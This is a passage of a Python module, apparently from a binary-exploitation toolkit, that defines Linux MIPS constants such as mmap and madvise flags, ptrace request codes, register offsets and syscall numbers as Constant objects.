Constant('MAP_ANONYMOUS',0x0800) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x1000) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x2000) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x4000) MAP_LOCKED = Constant('MAP_LOCKED',0x8000) MAP_POPULATE = Constant('MAP_POPULATE',0x10000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x20000) MAP_STACK = Constant('MAP_STACK',0x40000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x80000) MS_ASYNC = Constant('MS_ASYNC',0x0001) MS_INVALIDATE = Constant('MS_INVALIDATE',0x0002) MS_SYNC = Constant('MS_SYNC',0x0004) MCL_CURRENT = Constant('MCL_CURRENT',1) MCL_FUTURE = Constant('MCL_FUTURE',2) MCL_ONFAULT = Constant('MCL_ONFAULT',4) MADV_NORMAL = Constant('MADV_NORMAL',0x0) MADV_RANDOM = Constant('MADV_RANDOM',0x1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2) MADV_WILLNEED = Constant('MADV_WILLNEED',0x3) MADV_DONTNEED = Constant('MADV_DONTNEED',0x4) MAP_ANON = Constant('MAP_ANON',0x0800) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) FPR_BASE = Constant('FPR_BASE',32) PC = Constant('PC',64) CAUSE = Constant('CAUSE',65) BADVADDR = Constant('BADVADDR',66) MMHI = Constant('MMHI',67) MMLO = Constant('MMLO',68) FPC_CSR = Constant('FPC_CSR',69) FPC_EIR = Constant('FPC_EIR',70) DSP_BASE = Constant('DSP_BASE',71) DSP_CONTROL = Constant('DSP_CONTROL',77) ACX = Constant('ACX',78) SYS_accept = Constant('SYS_accept',(4000 + 168)) SYS_accept4 = Constant('SYS_accept4',(4000 + 334)) SYS_access = Constant('SYS_access',(4000 + 33)) SYS_acct = Constant('SYS_acct',(4000 + 51)) SYS_add_key = Constant('SYS_add_key',(4000 + 280)) SYS_adjtimex = Constant('SYS_adjtimex',(4000 + 124)) SYS_afs_syscall = Constant('SYS_afs_syscall',(4000 + 137)) SYS_alarm = Constant('SYS_alarm',(4000 + 27)) SYS_bdflush = Constant('SYS_bdflush',(4000 + 134)) SYS_bind = Constant('SYS_bind',(4000 + 169)) SYS_bpf = Constant('SYS_bpf',(4000 + 355)) SYS_break = Constant('SYS_break',(4000 + 17)) SYS_brk = Constant('SYS_brk',(4000 + 45)) SYS_cachectl = Constant('SYS_cachectl',(4000 + 148)) SYS_cacheflush = Constant('SYS_cacheflush',(4000 + 147)) SYS_capget = Constant('SYS_capget',(4000 + 204)) SYS_capset = Constant('SYS_capset',(4000 + 205)) SYS_chdir = Constant('SYS_chdir',(4000 + 12)) SYS_chmod = Constant('SYS_chmod',(4000 + 15)) SYS_chown = Constant('SYS_chown',(4000 + 202)) SYS_chroot = Constant('SYS_chroot',(4000 + 61)) SYS_clock_adjtime = Constant('SYS_clock_adjtime',(4000 + 341)) SYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',(4000 + 405)) SYS_clock_getres = Constant('SYS_clock_getres',(4000 + 264)) SYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',(4000 + 406)) SYS_clock_gettime = Constant('SYS_clock_gettime',(4000 + 263)) SYS_clock_gettime64 = Constant('SYS_clock_gettime64',(4000 + 403)) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(4000 + 265)) SYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',(4000 + 407)) SYS_clock_settime = Constant('SYS_clock_settime',(4000 + 262)) SYS_clock_settime64 = Constant('SYS_clock_settime64',(4000 + 404)) SYS_clone = Constant('SYS_clone',(4000 + 120)) SYS_clone3 = Constant('SYS_clone3',(4000 + 435)) SYS_close = Constant('SYS_close',(4000 + 6)) SYS_connect = Constant('SYS_connect',(4000 + 170)) SYS_copy_file_range = Constant('SYS_copy_file_range',(4000 + 360)) SYS_creat = Constant('SYS_creat',(4000 + 8)) SYS_create_module = Constant('SYS_create_module',(4000 + 127)) SYS_delete_module = Constant('SYS_delete_module',(4000 + 129)) SYS_dup = Constant('SYS_dup',(4000 + 41)) SYS_dup2 = Constant('SYS_dup2',(4000 + 63)) SYS_dup3 = Constant('SYS_dup3',(4000 + 327)) SYS_epoll_create = Constant('SYS_epoll_create',(4000 + 248)) SYS_epoll_create1 = Constant('SYS_epoll_create1',(4000 + 326)) SYS_epoll_ctl = Constant('SYS_epoll_ctl',(4000 + 249)) SYS_epoll_pwait = Constant('SYS_epoll_pwait',(4000 + 313)) SYS_epoll_wait = Constant('SYS_epoll_wait',(4000 + 250)) SYS_eventfd = Constant('SYS_eventfd',(4000 + 319)) SYS_eventfd2 = Constant('SYS_eventfd2',(4000 + 325)) SYS_execve = Constant('SYS_execve',(4000 + 11)) SYS_execveat = Constant('SYS_execveat',(4000 + 356)) SYS_exit = Constant('SYS_exit',(4000 + 1)) SYS_exit_group = Constant('SYS_exit_group',(4000 + 246)) SYS_faccessat = Constant('SYS_faccessat',(4000 + 300)) SYS_fadvise64 = Constant('SYS_fadvise64',(4000 + 254)) SYS_fallocate = Constant('SYS_fallocate',(4000 + 320)) SYS_fanotify_init = Constant('SYS_fanotify_init',(4000 + 336)) SYS_fanotify_mark = Constant('SYS_fanotify_mark',(4000 + 337)) SYS_fchdir = Constant('SYS_fchdir',(4000 + 133)) SYS_fchmod = Constant('SYS_fchmod',(4000 + 94)) SYS_fchmodat = Constant('SYS_fchmodat',(4000 + 299)) SYS_fchown = Constant('SYS_fchown',(4000 + 95)) SYS_fchownat = Constant('SYS_fchownat',(4000 + 291)) SYS_fcntl = Constant('SYS_fcntl',(4000 + 55)) SYS_fcntl64 = Constant('SYS_fcntl64',(4000 + 220)) SYS_fdatasync = Constant('SYS_fdatasync',(4000 + 152)) SYS_fgetxattr = Constant('SYS_fgetxattr',(4000 + 229)) SYS_finit_module = Constant('SYS_finit_module',(4000 + 348)) SYS_flistxattr = Constant('SYS_flistxattr',(4000 + 232)) SYS_flock = Constant('SYS_flock',(4000 + 143)) SYS_fork = Constant('SYS_fork',(4000 + 2)) SYS_fremovexattr = Constant('SYS_fremovexattr',(4000 + 235)) SYS_fsconfig = Constant('SYS_fsconfig',(4000 + 431)) SYS_fsetxattr = Constant('SYS_fsetxattr',(4000 + 226)) SYS_fsmount = Constant('SYS_fsmount',(4000 + 432)) SYS_fsopen = Constant('SYS_fsopen',(4000 + 430)) SYS_fspick = Constant('SYS_fspick',(4000 + 433)) SYS_fstat = Constant('SYS_fstat',(4000 + 108)) SYS_fstat64 = Constant('SYS_fstat64',(4000 + 215)) SYS_fstatat64 = Constant('SYS_fstatat64',(4000 + 293)) SYS_fstatfs = Constant('SYS_fstatfs',(4000 + 100)) SYS_fstatfs64 = Constant('SYS_fstatfs64',(4000 + 256)) SYS_fsync = Constant('SYS_fsync',(4000 + 118)) SYS_ftime = Constant('SYS_ftime',(4000 + 35)) SYS_ftruncate = Constant('SYS_ftruncate',(4000 + 93)) SYS_ftruncate64 = Constant('SYS_ftruncate64',(4000 + 212)) SYS_futex = Constant('SYS_futex',(4000 + 238)) SYS_futex_time64 = Constant('SYS_futex_time64',(4000 + 422)) SYS_futimesat = Constant('SYS_futimesat',(4000 + 292)) SYS_getcpu = Constant('SYS_getcpu',(4000 + 312)) SYS_getcwd = Constant('SYS_getcwd',(4000 + 203)) SYS_getdents = Constant('SYS_getdents',(4000 + 141)) SYS_getdents64 = Constant('SYS_getdents64',(4000 + 219)) SYS_getegid = Constant('SYS_getegid',(4000 + 50)) SYS_geteuid = Constant('SYS_geteuid',(4000 + 49)) SYS_getgid = Constant('SYS_getgid',(4000 + 47)) SYS_getgroups = Constant('SYS_getgroups',(4000 + 80)) SYS_getitimer = Constant('SYS_getitimer',(4000 + 105)) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',(4000 + 130)) SYS_get_mempolicy = Constant('SYS_get_mempolicy',(4000 + 269)) SYS_getpeername = Constant('SYS_getpeername',(4000 + 171)) SYS_getpgid = Constant('SYS_getpgid',(4000 + 132)) SYS_getpgrp = Constant('SYS_getpgrp',(4000 + 65)) SYS_getpid = Constant('SYS_getpid',(4000 + 20)) SYS_getpmsg = Constant('SYS_getpmsg',(4000 + 208)) SYS_getppid = Constant('SYS_getppid',(4000 + 64)) SYS_getpriority = Constant('SYS_getpriority',(4000 + 96)) SYS_getrandom = Constant('SYS_getrandom',(4000 + 353)) SYS_getresgid = Constant('SYS_getresgid',(4000 + 191)) SYS_getresuid = Constant('SYS_getresuid',(4000 + 186)) SYS_getrlimit = Constant('SYS_getrlimit',(4000 + 76)) SYS_get_robust_list = Constant('SYS_get_robust_list',(4000 + 310)) SYS_getrusage = Constant('SYS_getrusage',(4000 + 77)) SYS_getsid = Constant('SYS_getsid',(4000 + 151)) SYS_getsockname = Constant('SYS_getsockname',(4000 + 172)) SYS_getsockopt = Constant('SYS_getsockopt',(4000 + 173)) SYS_gettid = Constant('SYS_gettid',(4000 + 222)) SYS_gettimeofday = Constant('SYS_gettimeofday',(4000 + 78)) SYS_getuid = Constant('SYS_getuid',(4000 + 24)) SYS_getxattr = Constant('SYS_getxattr',(4000 + 227)) SYS_gtty = Constant('SYS_gtty',(4000 + 32)) SYS_idle = Constant('SYS_idle',(4000 + 112)) SYS_init_module = Constant('SYS_init_module',(4000 + 128)) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',(4000 + 285)) SYS_inotify_init = Constant('SYS_inotify_init',(4000 + 284)) SYS_inotify_init1 = Constant('SYS_inotify_init1',(4000 + 329)) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',(4000 + 286)) SYS_io_cancel = Constant('SYS_io_cancel',(4000 + 245)) SYS_ioctl = Constant('SYS_ioctl',(4000 + 54)) SYS_io_destroy = Constant('SYS_io_destroy',(4000 + 242)) SYS_io_getevents = Constant('SYS_io_getevents',(4000 + 243)) SYS_ioperm = Constant('SYS_ioperm',(4000 + 101)) SYS_io_pgetevents = Constant('SYS_io_pgetevents',(4000 + 368)) SYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',(4000 + 416)) SYS_iopl = Constant('SYS_iopl',(4000 + 110)) SYS_ioprio_get = Constant('SYS_ioprio_get',(4000 + 315)) SYS_ioprio_set = Constant('SYS_ioprio_set',(4000 + 314)) SYS_io_setup = Constant('SYS_io_setup',(4000 + 241)) SYS_io_submit = Constant('SYS_io_submit',(4000 + 244)) SYS_io_uring_enter = Constant('SYS_io_uring_enter',(4000 + 426)) SYS_io_uring_register = Constant('SYS_io_uring_register',(4000 + 427)) SYS_io_uring_setup = Constant('SYS_io_uring_setup',(4000 + 425)) SYS_ipc = Constant('SYS_ipc',(4000 + 117)) SYS_kcmp = Constant('SYS_kcmp',(4000 + 347)) SYS_kexec_load = Constant('SYS_kexec_load',(4000 + 311)) SYS_keyctl = Constant('SYS_keyctl',(4000 + 282)) SYS_kill = Constant('SYS_kill',(4000 + 37)) SYS_lchown = Constant('SYS_lchown',(4000 + 16)) SYS_lgetxattr = Constant('SYS_lgetxattr',(4000 + 228)) SYS_link = Constant('SYS_link',(4000 + 9)) SYS_linkat = Constant('SYS_linkat',(4000 + 296)) SYS_Linux = Constant('SYS_Linux',4000) SYS_listen = Constant('SYS_listen',(4000 + 174)) SYS_listxattr = Constant('SYS_listxattr',(4000 + 230)) SYS_llistxattr = Constant('SYS_llistxattr',(4000 + 231)) SYS__llseek = Constant('SYS__llseek',(4000 + 140)) SYS_lock = Constant('SYS_lock',(4000 + 53)) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',(4000 + 247)) SYS_lremovexattr = Constant('SYS_lremovexattr',(4000 + 234)) SYS_lseek = Constant('SYS_lseek',(4000 + 19)) SYS_lsetxattr = Constant('SYS_lsetxattr',(4000 + 225)) SYS_lstat = Constant('SYS_lstat',(4000 + 107)) SYS_lstat64 = Constant('SYS_lstat64',(4000 + 214)) SYS_madvise = Constant('SYS_madvise',(4000 + 218)) SYS_mbind = Constant('SYS_mbind',(4000 + 268)) SYS_membarrier = Constant('SYS_membarrier',(4000 + 358)) SYS_memfd_create = Constant('SYS_memfd_create',(4000 + 354)) SYS_migrate_pages = Constant('SYS_migrate_pages',(4000 + 287)) SYS_mincore = Constant('SYS_mincore',(4000 + 217)) SYS_mkdir = Constant('SYS_mkdir',(4000 + 39)) SYS_mkdirat = Constant('SYS_mkdirat',(4000 + 289)) SYS_mknod = Constant('SYS_mknod',(4000 + 14)) SYS_mknodat = Constant('SYS_mknodat',(4000 + 290)) SYS_mlock = Constant('SYS_mlock',(4000 + 154)) SYS_mlock2 = Constant('SYS_mlock2',(4000 + 359)) SYS_mlockall = Constant('SYS_mlockall',(4000 + 156)) SYS_mmap = Constant('SYS_mmap',(4000 + 90)) SYS_mmap2 = Constant('SYS_mmap2',(4000 + 210)) SYS_modify_ldt = Constant('SYS_modify_ldt',(4000 + 123)) SYS_mount = Constant('SYS_mount',(4000 + 21)) SYS_move_mount = Constant('SYS_move_mount',(4000 + 429)) SYS_move_pages = Constant('SYS_move_pages',(4000 + 308)) SYS_mprotect = Constant('SYS_mprotect',(4000 + 125)) SYS_mpx = Constant('SYS_mpx',(4000 + 56)) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(4000 + 276)) SYS_mq_notify = Constant('SYS_mq_notify',(4000 + 275)) SYS_mq_open = Constant('SYS_mq_open',(4000 + 271)) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(4000 + 274)) SYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',(4000 + 419)) SYS_mq_timedsend = Constant('SYS_mq_timedsend',(4000 + 273)) SYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',(4000 + 418)) SYS_mq_unlink = Constant('SYS_mq_unlink',(4000 + 272)) SYS_mremap = Constant('SYS_mremap',(4000 + 167)) SYS_msgctl = Constant('SYS_msgctl',(4000 + 402)) SYS_msgget = Constant('SYS_msgget',(4000 + 399)) SYS_msgrcv = Constant('SYS_msgrcv',(4000 + 401)) SYS_msgsnd = Constant('SYS_msgsnd',(4000 + 400)) SYS_msync = Constant('SYS_msync',(4000 + 144)) SYS_munlock = Constant('SYS_munlock',(4000 + 155)) SYS_munlockall = Constant('SYS_munlockall',(4000 + 157)) SYS_munmap = Constant('SYS_munmap',(4000 + 91)) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',(4000 + 339)) SYS_nanosleep = Constant('SYS_nanosleep',(4000 + 166)) SYS__newselect = Constant('SYS__newselect',(4000 + 142)) SYS_nfsservctl = Constant('SYS_nfsservctl',(4000 + 189)) SYS_nice = Constant('SYS_nice',(4000 + 34)) SYS_open = Constant('SYS_open',(4000 + 5)) SYS_openat = Constant('SYS_openat',(4000 + 288)) SYS_openat2 = Constant('SYS_openat2',(4000 + 437)) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',(4000 + 340)) SYS_open_tree = Constant('SYS_open_tree',(4000 + 428)) SYS_pause = Constant('SYS_pause',(4000 + 29)) SYS_perf_event_open = Constant('SYS_perf_event_open',(4000 + 333)) SYS_personality = Constant('SYS_personality',(4000 + 136)) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',(4000 + 438)) SYS_pidfd_open = Constant('SYS_pidfd_open',(4000 + 434)) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',(4000 + 424)) SYS_pipe = Constant('SYS_pipe',(4000 + 42)) SYS_pipe2 = Constant('SYS_pipe2',(4000 + 328)) SYS_pivot_root = Constant('SYS_pivot_root',(4000 + 216)) SYS_pkey_alloc = Constant('SYS_pkey_alloc',(4000 + 364)) SYS_pkey_free = Constant('SYS_pkey_free',(4000 + 365)) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',(4000 + 363)) SYS_poll = Constant('SYS_poll',(4000 + 188)) SYS_ppoll = Constant('SYS_ppoll',(4000 + 302)) SYS_ppoll_time64 = Constant('SYS_ppoll_time64',(4000 + 414)) SYS_prctl = Constant('SYS_prctl',(4000 + 192)) SYS_pread64 = Constant('SYS_pread64',(4000 + 200)) SYS_preadv = Constant('SYS_preadv',(4000 + 330)) SYS_preadv2 = Constant('SYS_preadv2',(4000 + 361)) SYS_prlimit64 = Constant('SYS_prlimit64',(4000 + 338)) SYS_process_vm_readv = Constant('SYS_process_vm_readv',(4000 + 345)) SYS_process_vm_writev = Constant('SYS_process_vm_writev',(4000 + 346)) SYS_prof = Constant('SYS_prof',(4000 + 44)) SYS_profil = Constant('SYS_profil',(4000 + 98)) SYS_pselect6 = Constant('SYS_pselect6',(4000 + 301)) SYS_pselect6_time64 = Constant('SYS_pselect6_time64',(4000 + 413)) SYS_ptrace = Constant('SYS_ptrace',(4000 + 26)) SYS_putpmsg = Constant('SYS_putpmsg',(4000 + 209)) SYS_pwrite64 = Constant('SYS_pwrite64',(4000 + 201)) SYS_pwritev = Constant('SYS_pwritev',(4000 + 331)) SYS_pwritev2 = Constant('SYS_pwritev2',(4000 + 362)) SYS_query_module = Constant('SYS_query_module',(4000 + 187)) SYS_quotactl = Constant('SYS_quotactl',(4000 + 131)) SYS_read = Constant('SYS_read',(4000 + 3)) SYS_readahead = Constant('SYS_readahead',(4000 + 223)) SYS_readdir = Constant('SYS_readdir',(4000 + 89)) SYS_readlink = Constant('SYS_readlink',(4000 + 85)) SYS_readlinkat = Constant('SYS_readlinkat',(4000 + 298)) SYS_readv = Constant('SYS_readv',(4000 + 145)) SYS_reboot = Constant('SYS_reboot',(4000 + 88)) SYS_recv = Constant('SYS_recv',(4000 + 175)) SYS_recvfrom = Constant('SYS_recvfrom',(4000 + 176)) SYS_recvmmsg = Constant('SYS_recvmmsg',(4000 + 335)) SYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',(4000 + 417)) SYS_recvmsg = Constant('SYS_recvmsg',(4000 + 177)) SYS_remap_file_pages = Constant('SYS_remap_file_pages',(4000 + 251)) SYS_removexattr = Constant('SYS_removexattr',(4000 + 233)) SYS_rename = Constant('SYS_rename',(4000 + 38)) SYS_renameat = Constant('SYS_renameat',(4000 + 295)) SYS_renameat2 = Constant('SYS_renameat2',(4000 + 351)) SYS_request_key = Constant('SYS_request_key',(4000 + 281)) SYS_reserved221 = Constant('SYS_reserved221',(4000 + 221)) SYS_reserved82 = Constant('SYS_reserved82',(4000 + 82)) SYS_restart_syscall = Constant('SYS_restart_syscall',(4000 + 253)) SYS_rmdir = Constant('SYS_rmdir',(4000 + 40)) SYS_rseq = Constant('SYS_rseq',(4000 + 367)) SYS_rt_sigaction = Constant('SYS_rt_sigaction',(4000 + 194)) SYS_rt_sigpending = Constant('SYS_rt_sigpending',(4000 + 196)) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',(4000 + 195)) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',(4000 + 198)) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',(4000 + 193)) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',(4000 + 199)) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',(4000 + 197)) SYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',(4000 + 421)) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',(4000 + 332)) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',(4000 + 240)) SYS_sched_getattr = Constant('SYS_sched_getattr',(4000 + 350)) SYS_sched_getparam = Constant('SYS_sched_getparam',(4000 + 159)) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',(4000 + 163)) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',(4000 + 164)) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',(4000 + 161)) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',(4000 + 165)) SYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',(4000 + 423)) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',(4000 + 239)) SYS_sched_setattr = Constant('SYS_sched_setattr',(4000 + 349)) SYS_sched_setparam = Constant('SYS_sched_setparam',(4000 + 158)) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',(4000 + 160)) SYS_sched_yield = Constant('SYS_sched_yield',(4000 + 162)) SYS_seccomp = Constant('SYS_seccomp',(4000 + 352)) SYS_semctl = Constant('SYS_semctl',(4000 + 394)) SYS_semget = Constant('SYS_semget',(4000 + 393)) SYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',(4000 + 420)) SYS_send = Constant('SYS_send',(4000 + 178)) SYS_sendfile = Constant('SYS_sendfile',(4000 + 207)) SYS_sendfile64 = Constant('SYS_sendfile64',(4000 + 237)) SYS_sendmmsg = Constant('SYS_sendmmsg',(4000 + 343)) SYS_sendmsg = Constant('SYS_sendmsg',(4000 + 179)) SYS_sendto = Constant('SYS_sendto',(4000 + 180)) SYS_setdomainname = Constant('SYS_setdomainname',(4000 + 121)) SYS_setfsgid = Constant('SYS_setfsgid',(4000 + 139)) SYS_setfsuid = Constant('SYS_setfsuid',(4000 + 138)) SYS_setgid = Constant('SYS_setgid',(4000 + 46)) SYS_setgroups = Constant('SYS_setgroups',(4000 + 81)) SYS_sethostname = Constant('SYS_sethostname',(4000 + 74)) SYS_setitimer = Constant('SYS_setitimer',(4000 + 104)) SYS_set_mempolicy = Constant('SYS_set_mempolicy',(4000 + 270)) SYS_setns = Constant('SYS_setns',(4000 + 344)) SYS_setpgid = Constant('SYS_setpgid',(4000 + 57)) SYS_setpriority = Constant('SYS_setpriority',(4000 + 97)) SYS_setregid = Constant('SYS_setregid',(4000 + 71)) SYS_setresgid = Constant('SYS_setresgid',(4000 + 190)) SYS_setresuid = Constant('SYS_setresuid',(4000 + 185)) SYS_setreuid = Constant('SYS_setreuid',(4000 + 70)) SYS_setrlimit = Constant('SYS_setrlimit',(4000 + 75)) SYS_set_robust_list = Constant('SYS_set_robust_list',(4000 + 309)) SYS_setsid = Constant('SYS_setsid',(4000 + 66)) SYS_setsockopt = Constant('SYS_setsockopt',(4000 + 181)) SYS_set_thread_area = Constant('SYS_set_thread_area',(4000 + 283)) SYS_set_tid_address = Constant('SYS_set_tid_address',(4000 + 252)) SYS_settimeofday = Constant('SYS_settimeofday',(4000 + 79)) SYS_setuid = Constant('SYS_setuid',(4000 + 23)) SYS_setxattr = Constant('SYS_setxattr',(4000 + 224)) SYS_sgetmask = Constant('SYS_sgetmask',(4000 + 68)) SYS_shmat = Constant('SYS_shmat',(4000 + 397)) SYS_shmctl = Constant('SYS_shmctl',(4000 + 396)) SYS_shmdt = Constant('SYS_shmdt',(4000 + 398)) SYS_shmget = Constant('SYS_shmget',(4000 + 395)) SYS_shutdown = Constant('SYS_shutdown',(4000 + 182)) SYS_sigaction = Constant('SYS_sigaction',(4000 + 67)) SYS_sigaltstack = Constant('SYS_sigaltstack',(4000 + 206)) SYS_signal = Constant('SYS_signal',(4000 + 48)) SYS_signalfd = Constant('SYS_signalfd',(4000 + 317)) SYS_signalfd4 = Constant('SYS_signalfd4',(4000 + 324)) SYS_sigpending = Constant('SYS_sigpending',(4000 + 73)) SYS_sigprocmask = Constant('SYS_sigprocmask',(4000 + 126)) SYS_sigreturn = Constant('SYS_sigreturn',(4000 + 119)) SYS_sigsuspend = Constant('SYS_sigsuspend',(4000 + 72)) SYS_socket = Constant('SYS_socket',(4000 + 183)) SYS_socketcall = Constant('SYS_socketcall',(4000 + 102)) SYS_socketpair = Constant('SYS_socketpair',(4000 + 184)) SYS_splice = Constant('SYS_splice',(4000 + 304)) SYS_ssetmask = Constant('SYS_ssetmask',(4000 + 69)) SYS_stat = Constant('SYS_stat',(4000 + 106)) SYS_stat64 = Constant('SYS_stat64',(4000 + 213)) SYS_statfs = Constant('SYS_statfs',(4000 + 99)) SYS_statfs64 = Constant('SYS_statfs64',(4000 + 255)) SYS_statx = Constant('SYS_statx',(4000 + 366)) SYS_stime = Constant('SYS_stime',(4000 + 25)) SYS_stty = Constant('SYS_stty',(4000 + 31)) SYS_swapoff = Constant('SYS_swapoff',(4000 + 115)) SYS_swapon = Constant('SYS_swapon',(4000 + 87)) SYS_symlink = Constant('SYS_symlink',(4000 + 83)) SYS_symlinkat = Constant('SYS_symlinkat',(4000 + 297)) SYS_sync = Constant('SYS_sync',(4000 + 36)) SYS_sync_file_range = Constant('SYS_sync_file_range',(4000 + 305)) SYS_syncfs = Constant('SYS_syncfs',(4000 + 342)) SYS_syscall = Constant('SYS_syscall',(4000 + 0)) SYS__sysctl = Constant('SYS__sysctl',(4000 + 153)) SYS_sysfs = Constant('SYS_sysfs',(4000 + 135)) SYS_sysinfo = Constant('SYS_sysinfo',(4000 + 116)) SYS_syslog = Constant('SYS_syslog',(4000 + 103)) SYS_sysmips = Constant('SYS_sysmips',(4000 + 149)) SYS_tee = Constant('SYS_tee',(4000 + 306)) SYS_tgkill = Constant('SYS_tgkill',(4000 + 266)) SYS_time = Constant('SYS_time',(4000 + 13)) SYS_timer_create = Constant('SYS_timer_create',(4000 + 257)) SYS_timer_delete = Constant('SYS_timer_delete',(4000 + 261)) SYS_timerfd = Constant('SYS_timerfd',(4000 + 318)) SYS_timerfd_create = Constant('SYS_timerfd_create',(4000 + 321)) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',(4000 + 322)) SYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',(4000 + 410)) SYS_timerfd_settime = Constant('SYS_timerfd_settime',(4000 + 323)) SYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',(4000 + 411)) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(4000 + 260)) SYS_timer_gettime = Constant('SYS_timer_gettime',(4000 + 259)) SYS_timer_gettime64 = Constant('SYS_timer_gettime64',(4000 + 408)) SYS_timer_settime = Constant('SYS_timer_settime',(4000 + 258)) SYS_timer_settime64 = Constant('SYS_timer_settime64',(4000 + 409)) SYS_times = Constant('SYS_times',(4000 + 43)) SYS_tkill = Constant('SYS_tkill',(4000 + 236)) SYS_truncate = Constant('SYS_truncate',(4000 + 92)) SYS_truncate64 = Constant('SYS_truncate64',(4000 + 211)) SYS_ulimit = Constant('SYS_ulimit',(4000 + 58)) SYS_umask = Constant('SYS_umask',(4000 + 60)) SYS_umount = Constant('SYS_umount',(4000 + 22)) SYS_umount2 = Constant('SYS_umount2',(4000 + 52)) SYS_uname = 